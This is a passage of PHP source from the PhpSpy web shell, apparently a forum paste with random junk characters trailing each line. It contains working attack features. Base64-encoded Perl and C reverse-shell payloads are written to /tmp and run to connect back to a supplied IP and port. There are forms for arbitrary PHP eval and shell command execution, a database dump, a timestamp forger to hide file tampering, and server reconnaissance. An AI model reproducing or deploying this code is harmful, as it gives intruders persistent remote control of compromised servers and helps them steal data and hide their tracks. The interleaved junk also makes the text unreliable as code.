  1022.                                 $query = q("SHOW TABLE STATUS");# D. @  j' F" _; r% \: o
  1023.                                 $table_num = $table_rows = $data_size = 0;
    5 f$ u  P8 v1 y$ c
  1024.                                 $tabledb = array();
    ; Y8 W& {" ^$ W: p  f. b
  1025.                                 while($table = mysql_fetch_array($query)) {0 U# P$ c) y$ w! g, H" D0 p
  1026.                                         $data_size = $data_size + $table['Data_length'];8 a4 h4 ?0 q4 k7 m. p
  1027.                                         $table_rows = $table_rows + $table['Rows'];3 C& Z- ]- e" {- t
  1028.                                         $table['Data_length'] = sizecount($table['Data_length']);% N6 L! e! k+ W/ |
  1029.                                         $table_num++;
    - u8 t1 ]7 x. d; H' Y
  1030.                                         $tabledb[] = $table;: N! L( A* e* o3 K0 Y) p+ ~  P
  1031.                                 }& s% e3 S4 K9 R
  1032.                                 $data_size = sizecount($data_size);
    8 x" {) ~4 q" D4 b" n% W5 a
  1033.                                 unset($table);3 d1 V- }1 R! X, Z& `5 G# c* T# s5 m
  1034.                                 p('<table border="0" cellpadding="0" cellspacing="0">');' c5 }$ G+ j# Y# c+ J; Y
  1035.                                 p('<form action="'.$self.'" method="POST">');, u+ {% E% _" ]/ ~
  1036.                                 makehide('action','sqladmin');
    3 a/ D% k2 b8 p
  1037.                                 p($dbform);0 j5 }; w" m  |3 ]: N# w& {, z- d5 k
  1038.                                 p('<tr class="head">');
    5 K5 P$ e2 ?* J, s, y& M) J( ~
  1039.                                 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
    1 c4 g& ]& s6 g1 H* d- ?
  1040.                                 p('<td>Name</td>');% h. F+ C% u+ ^  J
  1041.                                 p('<td>Rows</td>');& T: ~2 h6 {2 ?0 Z( a* Q
  1042.                                 p('<td>Data_length</td>');/ b3 {3 M. Q! J  s( v' i2 U6 s
  1043.                                 p('<td>Create_time</td>');
    3 \" G0 w( ]/ O3 g6 ?# V
  1044.                                 p('<td>Update_time</td>');0 m* R( l6 C+ S6 y+ A
  1045.                                 if ($highver) {
    % E4 N, j, j+ J/ \/ v
  1046.                                         p('<td>Engine</td>');" S! C1 |4 i7 a2 Z
  1047.                                         p('<td>Collation</td>');  f6 O% `% t7 `- B% T+ b
  1048.                                 }) S& w& U  E% [. Z- Q0 N2 b
  1049.                                 p('</tr>');
    " E8 V: M2 h# y; r. ?
  1050.                                 foreach ($tabledb as $key => $table) {) r& e. `. C% R' V! S$ m* j7 H9 X
  1051.                                         $thisbg = bg();
    6 a( r$ {5 g4 R
  1052.                                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');2 V! Y4 m" P, }3 l$ a5 B- q
  1053.                                         p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');: n  K( @/ t* R1 n
  1054.                                         p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
    " l4 N0 P* X+ O# p
  1055.                                         p('<td>'.$table['Rows'].'</td>');
    ) m" V5 x+ |6 z! A
  1056.                                         p('<td>'.$table['Data_length'].'</td>');
    7 S4 Y/ E' U# `7 p
  1057.                                         p('<td>'.$table['Create_time'].'</td>');
    % `8 {: z1 E" V3 T" T/ r4 y
  1058.                                         p('<td>'.$table['Update_time'].'</td>');. p2 }: S% }" E6 e
  1059.                                         if ($highver) {3 c* t3 ]/ h* O" e& {7 W  M* l/ i
  1060.                                                 p('<td>'.$table['Engine'].'</td>');
    ' ^4 ]4 m* @, K
  1061.                                                 p('<td>'.$table['Collation'].'</td>');
    4 }; t! E% Q6 `% \# M0 V, m  S; d
  1062.                                         }
    % t' e' f7 o+ [- \% e
  1063.                                         p('</tr>');8 i* J7 c3 q$ F9 {3 ~6 ]+ u7 {  [
  1064.                                 }# J" T3 t' u- U
  1065.                                 p('<tr class='.bg().'>');
    6 f. ^, A8 j& l1 p  t2 j
  1066.                                 p('<td> </td>');* s9 V, V' R& W. f1 A3 `* O
  1067.                                 p('<td>Total tables: '.$table_num.'</td>');7 g3 D" Y" N% X7 Z
  1068.                                 p('<td>'.$table_rows.'</td>');
    4 W+ O+ w) g5 v
  1069.                                 p('<td>'.$data_size.'</td>');' j% u) R7 I! V6 B
  1070.                                 p('<td colspan="'.($highver ? 4 : 2).'"> </td>');- t9 I. h, C1 ^9 D
  1071.                                 p('</tr>');
    " v5 o  |+ T" f! _/ y& F
  1072.                                 p("<tr class="".bg().""><td colspan="".($highver ? 8 : 6).""><input name="saveasfile" value="1" type="checkbox" /> Save as file <input class="input" name="path" value="".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql" type="text" size="60" /> <input class="bt" type="submit" name="downrar" value="Export selection table" /></td></tr>");
    % {3 ^/ P! m$ Q' ?
  1073.                                 makehide('doing','backupmysql');
    2 |4 n  C: Y: J. q
  1074.                                 formfoot();) h! ^" v7 N; W3 P
  1075.                                 p("</table>");' Y9 N2 |4 o" h! \6 p6 b4 E
  1076.                                 fr($query);
    / }; m9 P& u6 o% N; q
  1077.                         }7 x3 l+ Q7 D1 I" \& Y$ H
  1078.                 }) @& p1 E0 _) Y- {5 d9 w
  1079.         }6 W' H9 r" W* [! N+ g
  1080.         tbfoot();
    2 W6 \* `  b9 D, V2 j' I% H
  1081.         @mysql_close();- N$ S5 e7 ~3 b. m: s
  1082. }//end sql backup! J- M% f$ @, |
  1083. elseif ($action == 'backconnect') {
    % x0 s6 J' H* N
  1084.         !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
    4 B( L# |2 ]0 o; q7 S  E0 ~
  1085.         !$yourport && $yourport = '12345';
    $ L4 w* p2 V8 S" X( ^: J) ]
  1086.         $usedb = array('perl'=>'perl','c'=>'c');- L3 e8 U( h+ C5 x; S6 w
  1087.         $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
    2 q$ N3 {1 u4 M. Y+ Q) W! j5 e
  1088.                 "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
    / r% h9 a+ C, G7 H
  1089.                 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
    . q4 E) R7 f4 G3 I- U9 Q
  1090.                 "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
    ( q0 o% n4 Y/ q0 G
  1091.                 "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".* r+ W8 z9 q5 a1 Y# g; q8 f
  1092.                 "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".2 A6 j* W' g+ |. S
  1093.                 "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
    7 l3 z2 J/ D7 z: E
  1094.         $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
    4 }: q% W: `3 u) O3 o
  1095.                 "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".) A3 P  L' }' L4 h5 b6 X5 A
  1096.                 "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
    6 l6 ?( ~# \" E' b
  1097.                 "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".+ Y1 G  @* }% A0 `1 Z
  1098.                 "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".5 `+ p0 a3 {+ g3 o! y( [
  1099.                 "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D"./ l1 f6 y$ d- L* T% H
  1100.                 "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
    3 E  V5 M7 p, D/ G; s/ M" _7 B' S$ F
  1101.                 "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
    ! l4 E6 j8 v+ B
  1102.         if ($start && $yourip && $yourport && $use){
    : w' F  Y& y" O( L  y3 Z
  1103.                 if ($use == 'perl') {% q+ Q$ w! Q* N+ i- O
  1104.                         cf('/tmp/angel_bc',$back_connect);* M; @; m0 J, N
  1105.                         $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
    7 M" e% c/ Q/ h% ~0 v  _  M
  1106.                 } else {0 Y- {& Y* E5 u4 Z
  1107.                         cf('/tmp/angel_bc.c',$back_connect_c);# b5 j2 Y" [7 \) ]  a! H. k
  1108.                         $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');8 s2 j  [( n4 ^7 f* A+ B+ c
  1109.                         @unlink('/tmp/angel_bc.c');6 e0 q7 z% {+ p3 F7 }
  1110.                         $res = execute("/tmp/angel_bc $yourip $yourport &");+ V" G3 _0 t' D0 F1 Q2 q+ {: O% i
  1111.                 }1 }  J- ]4 ]5 {' }+ ~
  1112.                 m("Now script try connect to $yourip port $yourport ...");
    ' q% r7 `2 F; h0 t3 Z3 \
  1113.         }
    ' ]% y4 u6 Z) b8 k! l0 X* Z
  1114.         formhead(array('title'=>'Back Connect'));
    . A! c. m. P0 I9 e4 L& I# c
  1115.         makehide('action','backconnect');: w6 h2 M1 W  S) v
  1116.         p('<p>');
    # }9 g+ [& i. @5 S- V
  1117.         p('Your IP:');6 H, r1 g7 [# m0 w8 H; l8 D! x- V
  1118.         makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));2 B/ a1 ]" n. m( x# b, f
  1119.         p('Your Port:');; C2 F0 e  s  ~% Q! z
  1120.         makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));0 L- s4 o( d8 l' x, ?; o
  1121.         p('Use:');4 R& [9 j3 L6 M. P
  1122.         makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));* S# e" v. r. ]5 ]; I
  1123.         makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));, f. f5 P. ~! Z% b7 l& h3 U' h, q
  1124.         p('</p>');
    3 Q7 Z' [  d: G' m* r  y7 Q
  1125.         formfoot();
    " u+ D: B2 ^. ]0 j+ y
  1126. }//end sql backup- G4 v* }4 v9 [( X4 r2 n
  1127. elseif ($action == 'eval') {
    $ R7 b2 `, D0 s
  1128.         $phpcode = trim($phpcode);
    : [3 J0 B% H0 r2 L" C
  1129.         if($phpcode){
    + r8 h; c" [% G
  1130.                 if (!preg_match('#<\?#si', $phpcode)) {
    $ {, L- s: w. B0 A- y0 t# Z
  1131.                         $phpcode = "<?php\n\n{$phpcode}\n\n?>";
    / H) h' b  f) J
  1132.                 }: Q: v: f4 J! t. N( C9 H
  1133.                 eval("?".">$phpcode<?");
    8 M9 Q8 t1 x$ v  Y2 ~
  1134.         }
    7 c. v9 g7 x6 @( o
  1135.         formhead(array('title'=>'Eval PHP Code'));* L& s$ s1 R" y( B; M
  1136.         makehide('action','eval');
    * y- O, K) [+ @* A! w
  1137.         maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
    & D! G9 A9 a( A# n) e! O$ T& d
  1138.         p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
    4 K' @6 U' c! d
  1139.         formfooter();6 ~* D2 g/ B" A9 I% [
  1140. }//end eval  E3 f! ~; C" u% z

  1141. ( Y# |/ Y/ Z( K, V
  1142. elseif ($action == 'editfile') {0 C: T, }0 S! ~
  1143.         if(file_exists($opfile)) {  e9 _6 Q: j& ~5 j5 m
  1144.                 $fp=@fopen($opfile,'r');/ @8 G6 y! X# ]: f2 }
  1145.                 $contents=@fread($fp, filesize($opfile));
    ( {3 i+ W; Z3 c; r
  1146.                 @fclose($fp);6 E1 k" e) J4 t( t4 A
  1147.                 $contents=htmlspecialchars($contents);4 T+ X9 f) A6 I3 C+ B' P
  1148.         }  ~5 G7 O. b6 b" Z
  1149.         formhead(array('title'=>'Create / Edit File'));0 e0 I9 m  r8 s, {- Q
  1150.         makehide('action','file');+ W8 k4 w. G& ?. Z( v5 A
  1151.         makehide('dir',$nowpath);  Q4 O: x8 B" e: w' r: x( |% f
  1152.         makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));1 E1 Y( r/ N( q2 e4 r+ q: a. T
  1153.         maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
    7 C  B4 D6 h1 }+ ^
  1154.         formfooter();  p, e4 `2 d( G' H% d
  1155. }//end editfile
    / X0 w2 Y. ?8 ?# d2 [, B" T0 ?

  1156. $ [1 \: N5 K( r
  1157. elseif ($action == 'newtime') {
    7 @4 T/ l  i2 Q
  1158.         $opfilemtime = @filemtime($opfile);
    " @$ g" R( R4 c+ J& {: j
  1159.         //$time = strtotime("$year-$month-$day $hour:$minute:$second");
    # A: _" v. ]1 }9 g
  1160.         $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);+ V) N( u; N, S/ F" M; E
  1161.         formhead(array('title'=>'Clone file was last modified time'));
    ) G  z( J# Y- Q* X/ x
  1162.         makehide('action','file');2 n* _: _; Y9 {) c/ K. e" j
  1163.         makehide('dir',$nowpath);( u. X# R3 O- d' d
  1164.         makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));& L" @4 o: |. R( H& F0 d4 p
  1165.         makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));2 y7 J) I, q5 M; N
  1166.         formfooter();
    ! e7 V9 R& d+ J
  1167.         formhead(array('title'=>'Set last modified'));/ b% F- O6 `: _& ]% `
  1168.         makehide('action','file');
    & f1 Q$ @5 m! }6 G$ w
  1169.         makehide('dir',$nowpath);& p; Z' ]8 K8 D, u, A
  1170.         makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));/ A4 L& |: g9 V  ?( R
  1171.         p('<p>Instead »');
    : A/ Y" k  y* c8 G8 ^
  1172.         p('year:');! c3 j2 n3 ~5 ?; W" S% J
  1173.         makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));( [$ w" l6 l) q( f/ Q7 P
  1174.         p('month:');
    * }; R& c8 d9 L' e
  1175.         makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));5 b4 k9 s: h& O+ |4 a  {1 d8 E. s
  1176.         p('day:');
    * o3 {& u7 O2 U1 y, {
  1177.         makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));2 Q% \0 _1 X; `1 O
  1178.         p('hour:');* `5 K$ L, j' ]  @+ R7 B! u
  1179.         makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));+ n7 ^  V2 c' ]6 g5 k
  1180.         p('minute:');/ T4 d7 B% D: l4 {2 @) m
  1181.         makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
    0 N  ^1 T# w3 l7 L1 r
  1182.         p('second:');6 C4 F2 b3 {' @* s
  1183.         makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
      D% f0 d; ]# c8 Q, |
  1184.         p('</p>');$ O* g1 x( O/ @( }$ }5 Z1 t# D
  1185.         formfooter();* J0 y3 c9 g4 i$ e
  1186. }//end newtime9 `  ^8 y. w5 ^9 D  }
  1187. : \8 |: ], O6 ~
  1188. elseif ($action == 'shell') {( F8 s& r8 `% B
  1189.         if (IS_WIN && IS_COM) {
    + N# r3 s" Q; @. [
  1190.                 if($program && $parameter) {8 n2 _& j( L: a9 J/ l2 l# x2 g9 G
  1191.                         $shell= new COM('Shell.Application');. {" y+ L. M; S3 t' T
  1192.                         $a = $shell->ShellExecute($program,$parameter);
    2 ~* N7 ?4 [# R0 e
  1193.                         m('Program run has '.(!$a ? 'success' : 'fail'));
    & K& s' ]/ w: q& T
  1194.                 }
    ' a. d  S% G' P: i4 U" `
  1195.                 !$program && $program = 'c:\windows\system32\cmd.exe';
    $ d1 t3 u- F/ X& E
  1196.                 !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';. ~+ n: _% U/ Y: c
  1197.                 formhead(array('title'=>'Execute Program'));
    5 \6 U5 ]3 J+ @
  1198.                 makehide('action','shell');
    - ]! A5 X9 ^4 M# [( I, F" g
  1199.                 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));" V) W: y7 }( d3 c! A* d" C
  1200.                 p('<p>');8 @4 M6 R$ r' i5 f  u3 F
  1201.                 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
    - b$ A$ s; g8 _9 x9 D$ O
  1202.                 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));9 J# P, ^# e  Q7 r5 E
  1203.                 p('</p>');
    * v7 s+ x, t" U- u. Y, @. a
  1204.                 formfoot();
    , K$ W' o" v, ~* g3 \" C6 C
  1205.         }
    . n, b; R1 M# V
  1206.         formhead(array('title'=>'Execute Command'));* |' r' f: P; u# ], R# m: W' b5 w
  1207.         makehide('action','shell');7 `( b; R/ d) r' E3 H* `" }
  1208.         if (IS_WIN && IS_COM) {! S6 Y+ p6 v3 F4 L( n, M% `  U) y
  1209.                 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
    , i: t( G( O4 T0 ^* z! C6 L
  1210.                 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));. @6 x$ |8 t- `( B1 P
  1211.         }8 _8 W% C7 `1 M4 |3 ]/ Y( g3 @( \+ d
  1212.         p('<p>');
    ' o: q) t( p- Z5 B% s  ?- G5 w
  1213.         makeinput(array('title'=>'Command','name'=>'command','value'=>$command));( c" X* J1 K$ A9 k( c, U" Y% @8 w
  1214.         makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));) l# c  S  L- U9 J. `
  1215.         p('</p>');& f" n+ A3 d) }% f
  1216.         formfoot();
    6 F/ g* }' ?! H4 ]$ K$ V
  1217. - }3 z6 a+ C8 v4 g2 |
  1218.         if ($command) {
      e+ J) e: c& @6 @6 x/ s
  1219.                 p('<hr width="100%" noshade /><pre>');0 t% _- }7 v- P5 ^* O0 @
  1220.                 if ($execfunc=='wscript' && IS_WIN && IS_COM) {
    1 ~7 h2 m5 f: o! c# N! r
  1221.                         $wsh = new COM('WScript.shell');1 W9 g% U# R' y/ S0 n0 Z; B, {
  1222.                         $exec = $wsh->exec('cmd.exe /c '.$command);
    . \  t! x, E  b: R# c
  1223.                         $stdout = $exec->StdOut();( S4 l! H. E: T# w( A
  1224.                         $stroutput = $stdout->ReadAll();
    $ t4 G, p5 }0 @9 n- U# q
  1225.                         echo $stroutput;
    ) J# u1 J$ ^" d% {& Z; X
  1226.                 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {( g3 w! Z0 Y$ z
  1227.                         $descriptorspec = array(
    ' F3 X5 `7 O: R5 f4 v& G8 V+ x
  1228.                            0 => array('pipe', 'r'),
    # }# A0 p9 z, c9 o  C" l
  1229.                            1 => array('pipe', 'w'),1 g, U) g8 ]: g. J9 I- ]
  1230.                            2 => array('pipe', 'w')
    8 x  A& {8 }. Q* T5 o' E, P
  1231.                         );: @+ B5 b0 r/ F& k7 a8 ]( |3 [5 L
  1232.                         $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
    * m$ v) x7 b( g* O6 k
  1233.                         if (is_resource($process)) {
      _2 Z/ L$ z! r' l( b4 G
  1234.                                 fwrite($pipes[0], $command."\r\n");3 D" A2 U7 z+ z$ E
  1235.                                 fwrite($pipes[0], "exit\r\n");
    2 b! q5 x; z9 |
  1236.                                 fclose($pipes[0]);
    : y0 Q3 b* g; E9 s  i( l
  1237.                                 while (!feof($pipes[1])) {
    7 E; o4 n/ n+ n2 H  \
  1238.                                         echo fgets($pipes[1], 1024);
    1 c& T; z# o8 K( i% S
  1239.                                 }
    ; s4 Y; Q) @: X* z7 |) |
  1240.                                 fclose($pipes[1]);
    1 R# M. v( i7 ?3 H0 N- B4 \3 u
  1241.                                 while (!feof($pipes[2])) {8 C$ d- U0 s$ K1 I9 y8 G
  1242.                                         echo fgets($pipes[2], 1024);
    2 e! C. ^5 C& D3 D5 c9 y. S' o
  1243.                                 }
    . M9 W9 _; I  P, B  P. T2 [
  1244.                                 fclose($pipes[2]);
    ' ]- ]% c7 p3 H+ d, l
  1245.                                 proc_close($process);
    3 d3 P: a" q3 m* Q: ?
  1246.                         }1 K, E& h# c# u+ F
  1247.                 } else {
    8 |7 u1 D# S& \9 `% \" A
  1248.                         echo(execute($command));$ L/ i1 R0 M0 t: t7 ]' q
  1249.                 }
    . V! E5 D1 o! V" {; B1 Y6 Y: p
  1250.                 p('</pre>');
    % h  b6 Y+ i2 `, Q/ k
  1251.         }
      l8 _; q! K2 J6 a  O: W
  1252. }//end shell
    . z- `1 O+ g, n$ \+ w6 [3 p
  1253. : Q0 R9 M0 Z: k8 _( T
  1254. elseif ($action == 'phpenv') {
    * I5 s8 s7 i; f
  1255.         $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';4 a9 e. S: u; v* L8 ?1 M3 K) @
  1256.         $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
    0 A" B1 q& b& I& Q, f& H% n0 X, w
  1257.         !$dis_func && $dis_func = 'No';       
    ' X/ V4 J* J' p! o8 v) h
  1258.         $info = array(+ u9 `; }% f* y: T# O
  1259.                 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
    " o' ?: A- I) @8 ^) E
  1260.                 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
    & R! b4 e4 A9 H. S
  1261.                 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
    ) I0 I* s7 d- g0 q
  1262.                 4 => array('Server OS',PHP_OS),0 q+ X) t" `" O' k) W0 R+ _; h1 Z( M
  1263.                 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),; d: l/ G2 `6 k+ Z7 y9 T7 t/ ]1 g
  1264.                 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
    . b. C* q, t+ ^+ I4 q
  1265.                 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),9 Y1 N! Y& _7 |+ o  U% y0 @
  1266.                 8 => array('PHP run mode',strtoupper(php_sapi_name())),
    2 |3 z( d' O* ^! ^4 q
  1267.                 9 => array('The file path',__FILE__),
    " I# l9 ?/ N* n* h, q, y, {* d
  1268. ) Z) W/ l+ Q9 r: m" j7 E
  1269.                 10 => array('PHP Version',PHP_VERSION),: o9 L  I: P* `+ V; Q' i
  1270.                 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
    & d8 X( `9 H. P; g9 X8 ^9 K6 R
  1271.                 12 => array('Safe Mode',getcfg('safe_mode')),- B; L% L% R# J; b6 i
  1272.                 13 => array('Administrator',$adminmail),. s5 a4 x' `2 X
  1273.                 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),* C* T: c" n7 Z7 V6 `# w
  1274.                 15 => array('enable_dl',getcfg('enable_dl')),
    % s/ A' P  ?! E( U+ O
  1275.                 16 => array('display_errors',getcfg('display_errors')),9 z) m) e+ x4 Q- e9 `6 i
  1276.                 17 => array('register_globals',getcfg('register_globals')),4 R/ p1 q/ X* K& ]+ i& D
  1277.                 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),, }: b9 A" v: n% y: f) b
  1278.                 19 => array('memory_limit',getcfg('memory_limit')),2 E; Z0 t/ d$ z7 s
  1279.                 20 => array('post_max_size',getcfg('post_max_size')),4 K% X' p8 r+ v( G7 }/ S: @
  1280.                 21 => array('upload_max_filesize',$upsize),
    # V# J3 e9 M& w/ m7 f7 q0 x
  1281.                 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
    + }/ ]/ m, r4 x; t% ~) `: [9 }
  1282.                 23 => array('disable_functions',$dis_func),5 ?& p  Y8 [; {0 t! W
  1283.         );( o! K& ~9 [5 D$ A* j5 I

  1284. : J7 x: q0 ~' L6 t
  1285.         if($phpvarname) {8 y& i( s4 M% D6 J* H
  1286.                 m($phpvarname .' : '.getcfg($phpvarname));
    8 y, J9 p9 _: l9 |
  1287.         }
    : H4 m( V: m9 D! R& E" r. @, A  [

  1288. , n3 U0 r- m9 z- W5 Q
  1289.         formhead(array('title'=>'Server environment'));
    - V+ }7 ?; ?, L8 h5 O0 `' X
  1290.         makehide('action','phpenv');  `& n3 v+ i) k" U" Z: r
  1291.         makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));+ U5 s1 P  N6 ]: F
  1292.         formfooter();
    ; l3 o7 w/ W* E
  1293. 8 G& D$ l' x* b
  1294.         $hp = array(0=> 'Server', 1=> 'PHP');
    6 V/ M. h6 V8 R8 l' `9 X) F0 Q* u
  1295.         for($a=0;$a<2;$a++) {* s. l9 H* ?' g* J; W  L
  1296.                 p('<h2>'.$hp[$a].' »</h2>');
    9 e5 a( A# W; O; ?/ w: W
  1297.                 p('<ul class="info">');$ F' l# [/ f( _9 r* s
  1298.                 if ($a==0) {
    + x5 w& h$ g( ]" E3 Y9 {  ]# b
  1299.                         for($i=1;$i<=9;$i++) {
    0 N6 \! V, d6 {7 Y/ b2 o
  1300.                                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');+ e  R; Q( k5 f. P# S. k
  1301.                         }8 }: f. u0 v" c' k
  1302.                 } elseif ($a == 1) {2 q  @! A/ z$ \7 d& |( q# W- E6 v7 }
  1303.                         for($i=10;$i<=23;$i++) {
    , ?+ i% o$ U% U  q
  1304.                                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');3 `# ]0 @7 w+ ^6 Z9 s
  1305.                         }
    : v: j# m' A9 m9 f* _' m' B6 T0 \
  1306.                 }
    ' r6 Q: k) ], T8 \" d9 W4 Q! b
  1307.                 p('</ul>');
    - {- ~/ d' k# ]& G5 Q( T
  1308.         }7 {$ Z1 g8 z5 ?# P
  1309. }//end phpenv9 K3 H! o4 u& k7 f0 c) @. }
  1310. * ?1 ~# r! G4 Y; g2 u
  1311. else {( ?' m' I. X; p
  1312.         m('Undefined Action');' A: `3 U- d' Y' Y  {/ }4 a0 R
  1313. }
    ! S, C9 o* b. q

  1314. ( @' V& p: j! F
  1315. ?>8 n1 a8 U% q- B. `1 c' U
  1316. </td></tr></table>
    - R3 J( @: ]6 @' z/ k: f' @
  1317. <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
    1 ]9 M! g  f: h& k% N3 e- g
  1318.         <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
    ; S7 L' V; \$ n
  1319.         Copyright (C) 2004-2008 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.
    6 A: y* a8 j5 y( `9 M
  1320. </div>
    ' X" g+ b( Y$ Y: M% n, |
  1321. </body>5 g3 ~* U: O+ V' F7 Z" ^* \
  1322. </html>
    # c: x, @" {% f" r5 K- Z2 n, r0 }" |
  1323. 5 K& r) W* F% x9 k4 {
  1324. <?php
    # E8 r  v+ z+ V& j8 m5 K* O
  1325. " Y8 i% ]' E- _; q! l
  1326. /*======================================================
    ) h4 @& E3 X$ R& [8 F
  1327. 函数库/ B3 k4 q" v; e1 e& ~) a
